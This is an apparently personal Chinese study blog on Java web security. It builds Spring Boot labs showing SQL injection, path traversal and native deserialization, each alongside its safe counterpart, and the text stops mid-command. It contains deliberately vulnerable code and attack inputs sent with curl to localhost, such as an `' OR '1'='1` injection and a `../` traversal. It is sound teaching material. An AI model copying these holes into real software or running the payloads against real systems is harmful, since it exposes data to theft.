web 安全中 java 安全算是个绕不过去的坎了, 在渗透中更是如此. 早先我学过相关的知识, 但是现在回想起来, 都是看看人家的文章, 或者看着 wp 复现几个题目, 效果挺烂的(现在基本只能用些脚本或者 ai 解决遇到的问题, 复杂了就分析不了一点了). 所以这次准备从头开始学 java 安全, 并且时刻上手练习, 同时写一些笔记来巩固.

初始环境搭建

从搭环境开始熟悉吧. 首先我们需要 java, maven 环境. 并且需要 docker 来起一个数据库(毕竟绝大多数 Web 应用都会用到).

这里我的方案是 sdkman 来管理 java 版本(jdk版本太多了), maven 则是用 maven wrapper 来管理不同项目的 maven 版本. 这样就能应付各种版本的环境了.

我不喜用 IDE, 所以构建项目结构的事情就要用到 https://start.spring.io/, 这是初始化一个 Spring 项目的工具, 可以根据依赖不同来自动生成初始项目结构以及配置文件等.

POM

这里比较重要的配置文件就是 pom.xml. POM 全称是 Project Object Model, 项目对象模型, 用于配置所需的依赖, 规定如何编译, 测试, 打包等, 是一个 maven 管理项目的总配置文件. 所以全面地了解它是必要的. 把示例拆开来看各个部分的含义:

  • xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
      ...
    </project>

    xml 头不解释了, project 标签中的配置释义如下:

    • xmlns: 当前 xml 的默认命名空间. xmlns 全称就是 XML Namespace. 这里定义了本 xml 的标准是 Maven POM 4.0.0 . 之后没有给出命名空间的标签默认以此为命名空间.
    • xmlns:xsi: xsi 即 XML Schema Instance. 这里的意思设定 xsi 为命名前缀, 即之后带有 xsi 前缀的名字都是在 http://www.w3.org/2001/XMLSchema-instance 这个命名空间中的.
    • xsi:schemaLocation: 表明当前命名空间的 scema 地址, 即 xml 书写的一些规范. 这个配置项的内容项是成对出现的, 表示某命名空间遵循某 xsd 规范. 比如这里是 http://maven.apache.org/POM/4.0.0 遵循 https://maven.apache.org/xsd/maven-4.0.0.xsd.
  • xml
    <modelVersion>4.0.0</modelVersion>
      
    <parent>
    	<groupId>org.springframework.boot</groupId>
    	<artifactId>spring-boot-starter-parent</artifactId>
    	<version>4.1.1</version>
    	<relativePath/> <!-- lookup parent from repository -->
    </parent>
    • modelVersion: 当前模型版本, 这是指使用 Maven POM 4.0
    • parent: 表示本 pom 继承的父 pom.
    • groupId, artifactId, version: maven 标识某个组件, 配置等的标注模式. 通常可以写作 groupId:artifactId:version. 这被称为 GAV.
    • relativePath: 表示父 pom 的相对路径. 这里置空表示远程读取
  • xml
    <groupId>com.example</groupId>
    <artifactId>javasec-lab</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name/>
    <description/>
    <url/>
    • GAV: 这里的 GAV 是项目整体的配置, 意味着打包后就以这个 GAV 作为包的标识.
    • name, description, url: 项目的名称, 描述, 主页. 注意这里的主页指的并不是项目部署后的 Web 应用的主页, 一般指文档, 官网地址. 这几个项不影响 Web 应用本身.
  • xml
    <licenses>
    	<license/>
    </licenses>
      
    <developers>
    	<developer/>
    </developers>
      
    <scm>
    	<connection/>
    	<developerConnection/>
    	<tag/>
    	<url/>
    </scm>
    • licenses: 声明项目采用的开源或商业许可证, 这里置空.
    • developers: 声明项目的开发人员, 这里置空.
    • scm: Source Control Management, 描述项目源代码仓库的信息, 这里置空.
  • xml
    <properties>
      	<java.version>21</java.version>
      </properties>
    • properties: 用于定义 Maven 属性, 可以理解成 POM 中的变量. 这里定义了 java.version, 之后可以用 ${java.version} 来引用.
  • xml
    <dependencies>
    	<dependency>
    		<groupId>org.springframework.boot</groupId>
    		<artifactId>spring-boot-starter</artifactId>
    	</dependency>
    
    	<dependency>
    		<groupId>org.springframework.boot</groupId>
    		<artifactId>spring-boot-starter-test</artifactId>
    		<scope>test</scope>
    	</dependency>
    		
    	...
    </dependencies>
    • dependencies: 本项目的所有依赖. maven 是配置驱动安装依赖的, 所以需要自己组织好依赖并写到 pom 中, maven 才会在测试构建时引入他们(当然有各种工具辅助管理依赖, 但仍然没那么现代).
    • dependency: 必要的配置包括 groupId 和 artifactId. version 如果不写的话, maven 会尝试查询 dependencyManagement 来得到预先指定的版本. scope 则表示依赖的使用范围, 比如只在测试时需要的依赖, scope 就为 test.
  • xml
    <build>
    	<plugins>
    		<plugin>
    			<groupId>org.springframework.boot</groupId>
    			<artifactId>spring-boot-maven-plugin</artifactId>
    		</plugin>
    	</plugins>
    </build>
    • build: 用于配置项目的构建过程. 比如资源文件位置, 插件等等.
    • plugins: 构建项目时用到的插件.

了解了这里的配置后, 能够基本掌握项目的大概, 知晓依赖可以帮助我们定位可能存在的各种漏洞.

application

有两种格式, application.properties 或 application.yml, 作用是相同的, 书写方式不同. 用于存放各种应用配置, 比如:

properties
spring.application.name=javasec-lab

spring.datasource.url=jdbc:mysql://localhost:3306/javasec_lab?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai
spring.datasource.username=javasec
spring.datasource.password=javasec@pass
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

这里时常会有各种敏感配置, 价值很高.

数据库连接与测试

现在我们已经有了一个配置完全的项目, 接下来使用 docker 起一个 mysql, 写好 application.properties 的各种相关配置(这里不写的话会报错, 因为 spring 在引入 jdbc 时会自动尝试创建连接池).

接着用 maven 装好这个项目的 maven wrapper, 并尝试 test:

bash
mvn -N wrapper:wrapper -Dmaven=3.9.9
./mvnw -test

出现 BUILD SUCCESS 即可.

接着我们放点测试用的数据上去:

sql
CREATE TABLE IF NOT EXISTS users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    display_name VARCHAR(100) NOT NULL,
    email VARCHAR(255) NOT NULL,
	role VARCHAR(30) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

INSERT INTO users (username, display_name, email, role)
VALUES
    ('admin', 'Administrator', 'admin@example.com', 'admin'),
    ('alice', 'Alice', 'alice@example.com', 'user'),
    ('bob', 'Bob', 'bob@example.com', 'user'),
    ('test', 'Test User', 'test@example.com', 'guest')
ON DUPLICATE KEY UPDATE
    display_name = VALUES(display_name),
    email = VALUES(email),
    role = VALUES(role);

SQL 注入相关的练习

总算是把各种前置准备做完了, 接下来该开始练习了. 但是这里我们不太注重代码怎么写出来, 而重点在于这些代码是什么含义, 以及相应的效果.

Spring main

java
package com.example.javasec_lab;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class JavasecLabApplication {

	public static void main(String[] args) {
		SpringApplication.run(JavasecLabApplication.class, args);
	}

}

使用 @SpringBootApplication 特殊注解的类会被视为 Spring 的入口类. 这里的 SpringApplication.run 就是启动 Spring 容器的语句.

接下来我们来写实际内容代码

安全的 Query

java
// src/main/java/com/example/javasec_lab/user/UserDto.java
package com.example.javasec_lab.user;

public record UserDto(
    Long id,
    String username,
    String display_name,
    String email,
    String role
) {
}

DTO 即 Data Transfer Object, 用于将数据库中的对象转换为可以直接在 java 中使用的形式, 方便后续操作. DTO 只管映射转换, 不处理任何逻辑.

java
// src/main/java/com/example/javasec_lab/user/UserRepository.java
package com.example.javasec_lab.user;
import java.util.List;

import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;

@Repository
public class UserRepository {

    private final JdbcTemplate jdbcTemplate;

    public UserRepository(JdbcTemplate jdbcTemplate){
        this.jdbcTemplate = jdbcTemplate;
    }

    public List<UserDto> findByUsernameSafe(String username) {
        String sql = """
            SELECT id, username, display_name, email, role
            FROM users
            WHERE username = ?
            """;

        return jdbcTemplate.query(
            sql,
            (rs, rowNum) -> new UserDto(
                    rs.getLong("id"),
                    rs.getString("username"),
                    rs.getString("display_name"),
                    rs.getString("email"),
                    rs.getString("role")
            ),
            username
        );
    }
}

这里的重点在于, 查询是通过 jdbcTemplate 实现的参数化查询. 即先确定查询的语句, 在注入相关参数. 这种情况下, 注入的参数是不会被视作 sql 语句的, 是纯粹的字符串.

java
// src/main/java/com/example/javasec_lab/user/UserService.java
package com.example.javasec_lab.user;
import org.springframework.stereotype.Service;
import java.util.List;


@Service
public class UserService {
    
    private final UserRepository userRepository;

    public UserService(UserRepository userRepository) {
        this.userRepository = userRepository;
    }

    public List<UserDto> findByUsernameSafe(String username) {
        return userRepository.findByUsernameSafe(username);
    }
}

可以发现这个文件似乎只是在传递一些对象而已. 至于作用在之后解释

java
// src/main/java/com/example/javasec_lab/user/UserController.java
package com.example.javasec_lab.user;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class UserController {

    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/users/search-safe")
    public List<UserDto> searchSafe(@RequestParam String username) {
        return userService.findByUsernameSafe(username);
    }
}

这是实际调用查询的文件.

接着我们做一个查询测试, curl "http://localhost:8080/users/search-safe?username=alice", 如果能正常得到数据, 那么就说明一切正常. 然后我们就可以尝试一下对这个安全的服务打一个 SQLI:

bash
curl "http://localhost:8080/users/search-safe?username=alice'%20OR%20'1'%3D'1"

# []

会发现啥都查不到. 如果注入成功, 这里应当会返回所有数据.

几个问题

审计的时候, 产生了各种小问题. 记录一下.

  • 当前示例的数据流是如何的?

    • HTTP 请求参数 username

      -> 调用 UserController.searchSafe(username)

      -> 调用 UserService.findByUsernameSafe(username)

      -> 调用 UserRepository.findByUsernameSafe(username)

      -> 调用 JdbcTemplate.query(...)

      -> 实际查询数据库

      -> 逐步返回数据

  • 为什么要声明 private final JdbcTemplate jdbcTemplate; ?

    在 UserRepository, UserService, UserController 中, 都有 private final 声明的对象. 并且限定其私有, 不可继承, 即这个类内部使用的属性, 又称类字段.

  • UserRepository 的构建方法中用到了 jdbcTemplate 对象, 但是从来没有哪里创建过这个对象并传入, 这么写为何不会有问题

    Spring 有依赖注入机制, 即所谓的 DI(Dependency Injection). 简单来说, Spring 容器启动时, 会扫描其管理的对象(Bean), 并根据对象的构建方法自动创建所需的类对象并注入参数.

    更为详细的讲解:

    • SpringApplication.run(...) 这个 SpringApplication 启动的语句实际上会创建一个 Spring 容器, 其本质是一个对象管理器, 负责创建对象, 保存对象, 管理依赖关系, 注入依赖等.
    • 被 Spring 容器管理的对象称之为 Bean. 而存在特殊注解的类就会被视为 Bean. 这些特殊注解包括 @Component, @Service, @Repository, @Controller, @RestController
    • Spring 在准备创建 UserRepository 时, 会发现其构造方法中需要 JdbcTemplate 对象, 所以会先在容器中寻找它, 找到之后实例化, 注入构造方法, 就可以创建 UserRepository 对象了. 这种注入方式叫做构造器注入
  • @Repository, @Component 这些特殊注解意味着什么?

    一致的是, 他们都会让被注解的类称为 Spring 容器管理的 Bean. 每个注解则有些许不同

    • @Component 通用组件, 没什么特殊的语义, 只是单单交给 Spring 容器管理. 通常用作工具类, 辅助组件.

    • @Repository 标识数据访问层组件, 负责和数据库连接并交互, 并对接业务组件进行数据传递.

    • @Service 标识业务逻辑层组件, 负责业务规则, 事务控制, 鉴权等具体业务.

    • @RestController 标识处理 HTTP 请求的 REST 控制器. 通常和 @GetMapping @PostMapping 等函数注解搭配使用. @RestController 的方法返回值会直接作为 HTTP 响应体, 并自动转换成 JSON.

    • @Controller 标识 Spring MVC 控制器. 通常返回页面而非单纯数据. MVC 即 Model View Controller, 这是一种 Web 项目分层思想, 即将一个 Web 项目分为这三个模块:

      • Model: 负责承载数据, 包括数据存储、检索和业务规则.
      • View: 负责渲染页面, 以某种形式展示数据.
      • Controller: 负责接收请求, 调用 Model 和 View 来完成请求.
  • 现在的 UserService 组件纯纯中转, 没有做任何动作. 有什么意义?

    由于这个示例非常简单所以看起来这个组件没啥用. 但是正如之前介绍的三种特殊注解负责的工作, Service 组件负责业务逻辑, 这在 Web 应用中显然不可或缺. 不过这个示例纯纯是查数据库给数据, 没有啥业务逻辑要处理, 所以在这里它确实没啥用. 但是之后我们会扩展这个示例, 到时候就有用了

不安全的 Query

加一个不安全的读取方法:

java
// src/main/java/com/example/javasec_lab/user/UserRepository.java
public List<UserDto> findByUsernameUnsafe(String username) {
      String sql = """
        SELECT id, username, display_name, email, role
        FROM users
        WHERE username = '%s'
        """.formatted(username);

    return jdbcTemplate.query(
        sql,
        (rs, rowNum) -> new UserDto(
            rs.getLong("id"),
            rs.getString("username"),
            rs.getString("display_name"),
            rs.getString("email"),
            rs.getString("role")
        )
    );
}

在另外两个文件中照葫芦画瓢写两个方法来把这个查询接口外露, 我们尝试注入:

bash
curl "http://localhost:8080/users/search-unsafe?username=alice'%20OR%20'1'%3D'1"

# [{"id":1,"username":"admin","display_name":"Administrator","email":"admin@example.com","role":"admin"},{"id":2,"username":"alice","display_name":"Alice","email":"alice@example.com","role":"user"},{"id":3,"username":"bob","display_name":"Bob","email":"bob@example.com","role":"user"},{"id":4,"username":"test","display_name":"Test User","email":"test@example.com","role":"guest"}]

会发现得到了所有的数据. 这正是因为 UserRepository 中的查询是直接拼接用户输入, 而非之前的参数化处理.

路径穿越

接下来试试路径穿越. 这次我们用 Gradle, 熟悉一下其相关结构. 其有两个重要的配置文件 build.gradle 和 settings.gradle, 并且同样有 application.

settings.gradle

settings.gradle 是 项目级配置入口, 包括项目名称, 插件及下载地址, 依赖仓库等配置. 接下来分析一下他的结构.

  •   pluginManagement {
          repositories {
              gradlePluginPortal()
              mavenCentral()
          }
      }

    设定了两个插件仓库. 用于指导 build.gradle 中插件的下载源.

  •   dependencyResolutionManagement {
          repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
          repositories {
              mavenCentral()
          }
      }

    设定依赖源, 指定普通 Java 以来的下载源.

    repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) 意味着不允许子项目单独配置仓库, 统一使用这里的配置.

  •   rootProject.name = 'javasec-path-traversal-lab'

    设定项目名称.

build.gradle

build.gradle 是具体构建规则文件, 负责配置具体插件, 项目 group/version, java 版本, 依赖等等. 接下来分析一下 build.gradle 的结构.

  •   plugins {
          id 'java'
          id 'org.springframework.boot' version '4.1.1'
          id 'io.spring.dependency-management' version '1.1.7'
      }

    使用的各种插件.

    • id 'java': 启用 Java 项目能力, Gradle 会识别出源码目录, 测试目录, 编译测试打包等.
    • id 'org.springframework.boot' version '4.1.1': 启用 Spring Boot 支持.
    • id 'io.spring.dependency-management' version '1.1.7': 启用依赖版本管理, 可以在一定程度上自动推断依赖版本.
  •   group = 'com.example'
      version = '0.0.1-SNAPSHOT'
      description = 'Path traversal lab using Spring Boot and Gradle'

    项目的元信息, 用来生成依赖坐标 group:name:version. 而 name 处于 setting.gradle 中, 即最后的 rootProject.name = 'javasec-path-traversal-lab'.

  •   java {
          toolchain {
              languageVersion = JavaLanguageVersion.of(21)
          }
      }

    指定 Java 相关的一些配置.

    • languageVersion = JavaLanguageVersion.of(21): 指定 Java 版本为 21.
  •   dependencies {
          implementation 'org.springframework.boot:spring-boot-starter-web'
          implementation 'org.springframework.boot:spring-boot-starter-validation'
      
          testImplementation 'org.springframework.boot:spring-boot-starter-test'
          testImplementation 'org.springframework.boot:spring-boot-starter-webmvc-test'
      }

    声明依赖.

    • implementation: 项目整体所需的依赖.
    • testImplementation: 仅测试所需的依赖
  •   tasks.named('test') {
          useJUnitPlatform()
      }

    配置名为 test 的任务. id 'java' 这个插件会自动提供一系列任务, 其中包括 test.

    • useJUnitPlatform(): 使用 JUnit Platform 来执行测试.

测试代码

java
// src/main/java/com/example/pathtraversal_lab/file/FileController.java
package com.example.pathtraversal_lab.file;

import ...

@RestController
public class FileController {

    private final Path baseDir = Paths.get("storage/files").toAbsolutePath().normalize();

    @GetMapping(value = "/files/read-unsafe", produces = MediaType.TEXT_PLAIN_VALUE)
    public String readUnsafe(@RequestParam String filename) throws IOException {
        Path path = Paths.get("storage/files", filename);
        return Files.readString(path);
    }

    @GetMapping(value = "/files/read-safe", produces = MediaType.TEXT_PLAIN_VALUE)
    public String readSafe(@RequestParam String filename) throws IOException {
        Path target = baseDir.resolve(filename).normalize();

        if (!target.startsWith(baseDir)) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, "invalid filename");
        }

        if (!Files.isRegularFile(target)) {
            throw new ResponseStatusException(HttpStatus.NOT_FOUND, "file not found");
        }

        return Files.readString(target);
    }
}

可以发现这是个 RestController. 我们看具体逻辑

  • private final Path baseDir = Paths.get("storage/files").toAbsolutePath().normalize();:

    首先定义了一个基准目录, 这里的 normalize() 是用来去除冗余路径的 (比如 ..). 比如 /src/../file 会转换为 /file.

  • 接着定义两个 GET 路由, produces 用于定义其响应的数据类型.

  • @RequestParam String filename: 使用 @RequestParam 来获取请求中 params 的参数.

  • readUnsafe 中没啥操作, 直接把 filename 拼到基准目录中然后读文件.

    readSafe 则是先将 filename 转换为 Path 类型, 然后和 baseDir 链接, 去冗余, 然后判定路径前缀是否是 baseDir, 判定是否是普通文件(排除目录, 不存在的文件). 全部通过后再读取内容. 相对来说就安全多了.

实际测试

接下来实际测测这俩 api. Gradle 也是有 Wrapper 的, 我们这里简化一下, 就暂且不用 Wrapper了.

首先用安全请求测试:

bash
curl "http://localhost:8081/files/read-unsafe?filename=hello.txt"

# hello from public file

没啥问题. 接着尝试路径穿越:

bash
curl "http://localhost:8081/files/read-unsafe?filename=../private/secret.txt"

# secret from private file

成功穿越. 尝试使用安全接口来进行路径穿越:

bash
curl "http://localhost:8081/files/read-safe?filename=../private/secret.txt"

# {"timestamp":"2026-08-28T02:55:40.925Z","status":400,"error":"Bad Request","path":"/files/read-safe"}

可以发现穿越失败. 也就是我们的安全防护起到了应有的作用.

遗留问题

实际上这个防护还是很不安全的, 基本上只防了单纯的路径穿越.

  • 如果预期访问目录中有符号链接文件, 以此可能会访问到不在此目录下的文件
  • 存在竞争问题. 可以发现, 检查路径和实际读取不是原子操作, 存在前后关系. 这里就存在条件竞争的风险了, 不过要配合其漏洞, 比如本目录文件修改, 在读取时修改文件将其转换为符号链接到另一个目的文件.

还有些兼容性问题. 不过作为小练习算是足够了.

初探反序列化

做过两个简单的小练习, 熟悉过这两个常见的依赖管理工具后, 就可以开始进入 Java 的”名洞”反序列化了.

我们先从简单的开始.

首先我们先写两个支持序列化的类. 反序列化漏洞形成的根本原因就是某些危险类支持序列化, 而反序列化时检查不到位导致这些危险类被恶意加载运行导致的.

java
// src/main/java/com/example/deserialization_lab/model/SafeMessage.java

package com.example.deserialization_lab.model;

import java.io.Serializable;

public class SafeMessage implements Serializable {

    private String sender;
    private String content;

    public SafeMessage() {
    }

    public SafeMessage(String sender, String content) {
        this.sender = sender;
        this.content = content;
    }

    public String getSender() {
        return sender;
    }

    public String getContent() {
        return content;
    }

    @Override
    public String toString() {
        return "SafeMessage{" +
                "sender='" + sender + '\'' +
                ", content='" + content + '\'' +
                '}';
    }
}
java
// src/main/java/com/example/deserialization_lab/model/BlockedMessage.java
package com.example.deserialization_lab.model;

import java.io.Serializable;

public class BlockedMessage implements Serializable {

    private String value;

    public BlockedMessage() {
    }

    public BlockedMessage(String value) {
        this.value = value;
    }

    public String getValue() {
        return value;
    }

    @Override
    public String toString() {
        return "BlockedMessage{" +
        "value='" + value + '\'' +
        '}';
    }
}

注意到 public class SafeMessage implements Serializable, SafeMessage 类实现了 Serializable, Serializable 是标记接口, 不要求实现任何方法, 只是标记这个类允许被 Java 原生序列化.

这里的空构造方法是 Java Model 的常见写法, 并无实际作用, 这里也基本不会调用.

Java Model 是什么?

Model 是一种项目分层中的叫法. 项目分层则是区分各种类的职责而出现的. 常见的有:

  • Model: 承载数据
  • Entity: 通常对应数据库表
  • DTO: 用于接口传输数据
  • VO: View Object, 用于页面展示数据
  • POJO: Plain Ordinary Java Object, 简单类, 基本只有 setter, getter. toString 这些方法.

这些是开发中用得多的概念.

这两个类是示例用类, 他们没什么恶意方法可用.

接着我们看实现序列化和反序列化实现类:

java
// src/main/java/com/example/deserialization_lab/deserialization/SerializationHelper.java

public class SerializationHelper {

    public static String serializeToBase64(Object object) throws IOException {
        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();

        try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(object);
        }

        return Base64.getEncoder().encodeToString(byteStream.toByteArray());
    }

    public static Object deserializeUnsafe(String base64) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64);

        try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data))) {

            return objectInputStream.readObject();
        }
    }

    public static Object deserializeSafe(String base64) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64);

        try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data))) {

            ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
            "com.example.deserialization_lab.model.SafeMessage;java.lang.String;!*"
            );

            objectInputStream.setObjectInputFilter(filter);

            return objectInputStream.readObject();
        }
    }
}
  • serializeToBase64: 实现序列化, 将 object 对象的数据序列化写入 byteStream, 然后 base64 编码, 就是序列化结果. 可以发现序列化结果其实就是一串字符串(本质是字节流), 在传输或存储时, 字节流显然是更方便的形式. 这就是序列化技术出现的原因.
  • deserializeUnsafe: 实现不安全的反序列化. 可以发现这个方法十分粗犷地把字节流直接还原成了对象, 但是没有做任何检查. 这种情况下会出现各种问题, 少说是由于序列化数据错误导致服务崩溃, 严重的可能就是恶意对象控制主机了.
  • deserializeSafe: 实现相对安全的反序列化. 可以发现这里多了一步 setObjectInputFilter. 直观感受就是给输入做了一个过滤器, 以此限定输入对象的合法性. 要看懂这个过滤, 我们得熟悉一下序列化对象的形式.

原生序列化字节流结构

以本例中的对象序列化结果为例, new SafeMessage("alice", "hello from serialized object") 这一对象的序列化字节流如下:

ac ed 00 05 73 72 00 31 63 6f 6d 2e 65 78 61 6d
70 6c 65 2e 64 65 73 65 72 69 61 6c 69 7a 61 74
69 6f 6e 5f 6c 61 62 2e 6d 6f 64 65 6c 2e 53 61
66 65 4d 65 73 73 61 67 65 c7 ed 5c fa c8 b6 79
98 02 00 02 4c 00 07 63 6f 6e 74 65 6e 74 74 00
12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69
6e 67 3b 4c 00 06 73 65 6e 64 65 72 71 00 7e 00
01 78 70 74 00 1c 68 65 6c 6c 6f 20 66 72 6f 6d
20 73 65 72 69 61 6c 69 7a 65 64 20 6f 62 6a 65
63 74 74 00 05 61 6c 69 63 65
  • ac ed 00 05: 这部分是 Java 序列化格式标记. ac ed 是 Java 原生序列化流魔数, 意味着这串字节流是序列化内容. 00 05 是序列化协议版本.
  • 73: TC_OBJECT. 标识对象开始, 之后的内容描述一个对象.
  • 72: TC_CLASSDESC. 标识之后的内容描述对象所属类的信息.
  • 00 31: 标识类名长度. 0x31 即为 49, 之后的 49 字节是类名.
  • c7 ed 5c fa c8 b6 79 98: serialVersionUID. 可以显式指定 private static final long serialVersionUID = ..., 若不指定则自动算一个. 用来检查类是否兼容, 因为字节流中的对象和当前 JVM 中对象可能存在些许差别, 可能会导致不兼容问题. 一般来说会手写一个 serialVersionUID 来标识类版本.
  • 02: SC_SERIALIZABLE. 说明这个类实现了 Serializable
  • 00 02: 标识参与序列化的字段数. 这里参与序列化的字段是 sender 和 content. 之后的内容是这两个字段的相关信息
  • 4c 00 07 63 6f 6e 74 65 6e 74: 描述第一个字段. 下一部分同理.
    • 4c 描述字段类型, L 即为 object.
    • 00 07 表示字段名长度为 7.
    • 63 6f 6e 74 65 6e 74 即 content. 是字段名.
  • 74 00 12: 74 为 TC_STRING, 表示之后是一个字符串. 00 12 指示字符串长度为 18 字节. 之后的内容就是字符串内容, 即 Ljava/lang/String;, 标识该字段类型.
  • 4c 00 06 73 65 6e 64 65 72 71 00 7e 00 01: 第二个字段的描述. 这里有些不同的是其最后为 71 00 7e 00 01. 这里的 71 为 TC_REFERENCE, 直接引用已存在的类型签名. 00 7e 00 01 指的就是之前的 Ljava/lang/String;.
  • 78 70: 类描述结束. 78 为 TC_ENDBLOCKDATA, 标识类描述块结束. 70 为 TC_NULL, 这里表示没有父类描述.
  • 之后的内容开始描述具体数据值.
    • 74 00 1c ...: TC_STRING + 长度.
    • 74 00 05 ...: TC_STRING + 长度

我们用好看一点的形式把字节流写出来就是这样:

TC_OBJECT
  TC_CLASSDESC
    className = com.example.deserialization_lab.model.SafeMessage
    serialVersionUID = c7 ed 5c fa c8 b6 79 98
    flags = Serializable
    fields count = 2

    field 1:
      name = content
      type = java.lang.String

    field 2:
      name = sender
      type = java.lang.String

    superclass = null

  values:
    content = "hello from serialized object"
    sender = "alice"

回到我们的 filter, 这是一个白名单机制, 这里就是只允许序列化数据中出现com.example.deserialization_lab.model.SafeMessage, java.lang.String; 这两种类型的对象.

实际测试

接下来我们就来测试一下. 在不安全的反序列化中, 我们可以调用一个预期外对象(这里是 BlockedMessage)来尝试攻击. 接口类和之前差不多, 就是接收序列化内容返回反序列化结果. 源码如下, 不多做解释了:

java
// src/main/java/com/example/deserialization_lab/deserialization/DeserializationController.java
@RestController
public class DeserializationController {

    @PostMapping(value = "/deserialization/unsafe", consumes = MediaType.TEXT_PLAIN_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
    public String deserializeUnsafe(@RequestBody String base64) {
        try {
            Object object = SerializationHelper.deserializeUnsafe(base64.trim());
            return "type=" + object.getClass().getName() + "\nvalue=" + object + "\n";
        } catch (Exception e) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, e.getClass().getSimpleName() + ": " + e.getMessage());
        }
    }

    @PostMapping(value = "/deserialization/safe", consumes = MediaType.TEXT_PLAIN_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
    public String deserializeSafe(@RequestBody String base64) {
        try {
            Object object = SerializationHelper.deserializeSafe(base64.trim());
            return "type=" + object.getClass().getName() + "\nvalue=" + object + "\n";
        } catch (Exception e) {
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, e.getClass().getSimpleName() + ": " + e.getMessage());
        }
    }
}

在利用的时候, 我们需要在本地序列化目标已知的可序列化类(或者猜测), 然后将其传输给相应漏洞接口.

本地序列化某个对象, 首先要有相应类结构, 字段等. 所以最好的办法是找到目标类的源码然后扒下来直接当作依赖. 然后我们可以写一个专门用来序列化临时脚本:

java
import com.example.deserialization_lab.model.SafeMessage;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class GenerateSafePayload {
    public static void main(String[] args) throws Exception {
        SafeMessage msg = new SafeMessage("alice", "hello from local
        payload");

        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();

        try (ObjectOutputStream objectOutputStream = new
        ObjectOutputStream(byteStream)) {
            objectOutputStream.writeObject(msg);
        }

        String base64 =
        Base64.getEncoder().encodeToString(byteStream.toByteArray());
        System.out.println(base64);
    }
}

然后我们编译一下整个项目, 再单独跑这个类.

bash
gradle test # 直接用测试来编译, 顺便可以看看有没有问题
java -cp ./tmp:./build/classes/java/main/ GenerateSafePayload
# 这里要设定两个 classpath, 因为两个class所在目录不同, 而 GenerateSafePayload 依赖 SafeMessage

接着我们就可以得到一串序列化且编码之后的数据了:

rO0ABXNyADFjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLlNhZmVNZXNzYWdlx+1c+si2eZgCAAJMAAdjb250ZW50dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGc2VuZGVycQB+AAF4cHQAGGhlbGxvIGZyb20gbG9jYWwgcGF5bG9hZHQABWFsaWNl

我们尝试一些反序列化接口:

bash
curl -s -X POST "http://localhost:8083/deserialization/unsafe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADFjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLlNhZmVNZXNzYWdlx+1c+si2eZgCAAJMAAdjb250ZW50dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGc2VuZGVycQB+AAF4cHQAGGhlbGxvIGZyb20gbG9jYWwgcGF5bG9hZHQABWFsaWNl"

# type=com.example.deserialization_lab.model.SafeMessage
# value=SafeMessage{sender='alice', content='hello from local payload'}

curl -s -X POST "http://localhost:8083/deserialization/unsafe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADFjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLlNhZmVNZXNzYWdlx+1c+si2eZgCAAJMAAdjb250ZW50dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGc2VuZGVycQB+AAF4cHQAGGhlbGxvIGZyb20gbG9jYWwgcGF5bG9hZHQABWFsaWNl"

# type=com.example.deserialization_lab.model.SafeMessage
# value=SafeMessage{sender='alice', content='hello from local payload'}

两个接口都可以成功反序列化. 这是预期安全类, 所以不出所料. 接着我们测试恶意序列化数据. 这里需要重新编译运行一下小脚本. 测试结果如下:

bash
curl -s -X POST "http://localhost:8083/deserialization/safe" \
    -H "Content-Type: text/plain" \
    --data "rO0ABXNyADRjb20uZXhhbXBsZS5kZXNlcmlhbGl6YXRpb25fbGFiLm1vZGVsLkJsb2NrZWRNZXNzYWdl5dASmxiARX8CAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAaaGVsbG8gZnJvbSBibG9ja2VkIHBheWxvYWQ="

# {"timestamp":"2026-08-31T06:38:21.222Z","status":400,"error":"Bad Request","path":"/deserialization/safe"}

curl -s -X POST "http://localhost:8083/deserialization/unsafe" \
    -H "Content-Type: text/plain" \
